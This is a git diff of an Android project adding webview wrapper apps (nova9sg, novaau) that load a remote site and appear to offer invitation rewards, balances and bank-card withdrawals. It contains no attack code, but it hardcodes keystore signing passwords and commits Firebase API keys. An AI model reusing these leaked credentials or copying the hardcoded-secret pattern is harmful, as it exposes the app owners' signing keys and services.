{ signingConfigs { debug { - storeFile file('ppn.jks') - storePassword "2014123456" + storeFile file('sgplay1.jks') + storePassword "123456" keyAlias 'key0' - keyPassword "2014123456" + keyPassword "123456" } release { - storeFile file('ppn.jks') - storePassword "2014123456" + storeFile file('sgplay1.jks') + storePassword "123456" keyAlias 'key0' - keyPassword "2014123456" + keyPassword "123456" } } @@ -74,5 +74,5 @@ android { } dependencies { - implementation project(path: ':base') + implementation project(path: ':base_no') } \ No newline at end of file diff --git a/nep88/sgplay1.jks b/nep88/sgplay1.jks new file mode 100644 index 0000000..0752419 Binary files /dev/null and b/nep88/sgplay1.jks differ diff --git a/nep88/src/main/AndroidManifest.xml b/nep88/src/main/AndroidManifest.xml index 181a4bf..c13153b 100644 --- a/nep88/src/main/AndroidManifest.xml +++ b/nep88/src/main/AndroidManifest.xml @@ -9,37 +9,22 @@ android:name="android.hardware.camera2" android:required="false" /> - + - + - + - - - - - - - - - - - - - - - diff --git a/nova9sg/.gitignore b/nova9sg/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/nova9sg/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/nova9sg/build.gradle b/nova9sg/build.gradle new file mode 100644 index 0000000..a2b2a1f --- /dev/null +++ b/nova9sg/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.nosg" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "nova9sg" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/nova9sg/google-services.json b/nova9sg/google-services.json new file mode 100644 index 0000000..986efe8 --- /dev/null +++ b/nova9sg/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "875434561984", + "project_id": "nosgs-409e1", + "storage_bucket": "nosgs-409e1.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:875434561984:android:16d19d5deb1698498d3825", + "android_client_info": { + "package_name": "com.xyz.nosg" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBBj2dO5LjuhhKPQAQ1RMJl5AF9Cr94oJo" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/nova9sg/justlet.jks b/nova9sg/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/nova9sg/justlet.jks differ diff --git a/nova9sg/ppn.jks b/nova9sg/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/nova9sg/ppn.jks differ diff --git a/nova9sg/proguard-rules.pro b/nova9sg/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/nova9sg/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/nova9sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/nova9sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/nova9sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/nova9sg/src/main/AndroidManifest.xml b/nova9sg/src/main/AndroidManifest.xml new file mode 100644 index 0000000..9b973b9 --- /dev/null +++ b/nova9sg/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/java/com/xyz/nosg/MainActivity.java b/nova9sg/src/main/java/com/xyz/nosg/MainActivity.java new file mode 100644 index 0000000..79532b6 --- /dev/null +++ b/nova9sg/src/main/java/com/xyz/nosg/MainActivity.java @@ -0,0 +1,51 @@ +package com.xyz.nosg; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 220; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://nova9sg2.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#191919"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/nova9sg/src/main/java/com/xyz/nosg/MyFirebaseMessageingService.java b/nova9sg/src/main/java/com/xyz/nosg/MyFirebaseMessageingService.java new file mode 100644 index 0000000..dc143a8 --- /dev/null +++ b/nova9sg/src/main/java/com/xyz/nosg/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.nosg; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/nova9sg/src/main/java/com/xyz/nosg/WebApplication.java b/nova9sg/src/main/java/com/xyz/nosg/WebApplication.java new file mode 100644 index 0000000..762c299 --- /dev/null +++ b/nova9sg/src/main/java/com/xyz/nosg/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.nosg; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/nova9sg/src/main/res/drawable-anydpi/ic_action_back.xml b/nova9sg/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/nova9sg/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/nova9sg/src/main/res/drawable-hdpi/ic_action_back.png b/nova9sg/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/nova9sg/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/nova9sg/src/main/res/drawable-mdpi/ic_action_back.png b/nova9sg/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/nova9sg/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/nova9sg/src/main/res/drawable-v24/ic_launcher_foreground.xml b/nova9sg/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/nova9sg/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/drawable-xhdpi/ic_action_back.png b/nova9sg/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/nova9sg/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/nova9sg/src/main/res/drawable-xxhdpi/ic_action_back.png b/nova9sg/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/nova9sg/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/nova9sg/src/main/res/drawable/big_bg.xml b/nova9sg/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..20acafb --- /dev/null +++ b/nova9sg/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/drawable/ic_launcher_background.xml b/nova9sg/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/nova9sg/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/nova9sg/src/main/res/drawable/input_bg.xml b/nova9sg/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/nova9sg/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/nova9sg/src/main/res/drawable/pass_word_bg.xml b/nova9sg/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/nova9sg/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/nova9sg/src/main/res/drawable/pass_word_bg1.xml b/nova9sg/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/nova9sg/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/drawable/pass_word_bg2.xml b/nova9sg/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/nova9sg/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/drawable/shape_btn_bg.xml b/nova9sg/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/nova9sg/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/drawable/shape_dialog_bg2.xml b/nova9sg/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/nova9sg/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/drawable/shape_dialog_bg3.xml b/nova9sg/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/nova9sg/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/drawable/shape_dialog_bg_new.xml b/nova9sg/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/nova9sg/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/nova9sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/nova9sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/nova9sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/nova9sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/mipmap-hdpi/ic_empty.png b/nova9sg/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/nova9sg/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/nova9sg/src/main/res/mipmap-hdpi/ic_pull_down.png b/nova9sg/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/nova9sg/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/nova9sg/src/main/res/mipmap-xhdpi/ic_close.png b/nova9sg/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/nova9sg/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/nova9sg/src/main/res/mipmap-xhdpi/ic_menu.png b/nova9sg/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/nova9sg/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/nova9sg/src/main/res/mipmap-xxhdpi/app_logo.png b/nova9sg/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..e30ff78 Binary files /dev/null and b/nova9sg/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/nova9sg/src/main/res/values-en/strings.xml b/nova9sg/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..26a26bb --- /dev/null +++ b/nova9sg/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + Nova + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/nova9sg/src/main/res/values-night/themes.xml b/nova9sg/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/nova9sg/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/values/colors.xml b/nova9sg/src/main/res/values/colors.xml new file mode 100644 index 0000000..54cdcbb --- /dev/null +++ b/nova9sg/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #191919 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/nova9sg/src/main/res/values/strings.xml b/nova9sg/src/main/res/values/strings.xml new file mode 100644 index 0000000..f6bd9ec --- /dev/null +++ b/nova9sg/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Nova + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/values/themes.xml b/nova9sg/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/nova9sg/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/xml/app_updater_paths.xml b/nova9sg/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/nova9sg/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/xml/network_security_config.xml b/nova9sg/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/nova9sg/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/nova9sg/src/main/res/xml/provider_paths.xml b/nova9sg/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/nova9sg/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/nova9sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/nova9sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/nova9sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/novaau/.gitignore b/novaau/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/novaau/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/novaau/build.gradle b/novaau/build.gradle new file mode 100644 index 0000000..5d4de34 --- /dev/null +++ b/novaau/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.novaau" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "novaau" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/novaau/google-services.json b/novaau/google-services.json new file mode 100644 index 0000000..3fe5fca --- /dev/null +++ b/novaau/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "984109205166", + "project_id": "novaau-b50b9", + "storage_bucket": "novaau-b50b9.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:984109205166:android:8a6b36ec97e99a66b9cf3f", + "android_client_info": { + "package_name": "com.web.novaau" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAiXN1wsOwaK5nVspnkiCRNfcrjx31gKz4" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/novaau/ppn.jks b/novaau/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/novaau/ppn.jks differ diff --git a/novaau/proguard-rules.pro b/novaau/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/novaau/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git 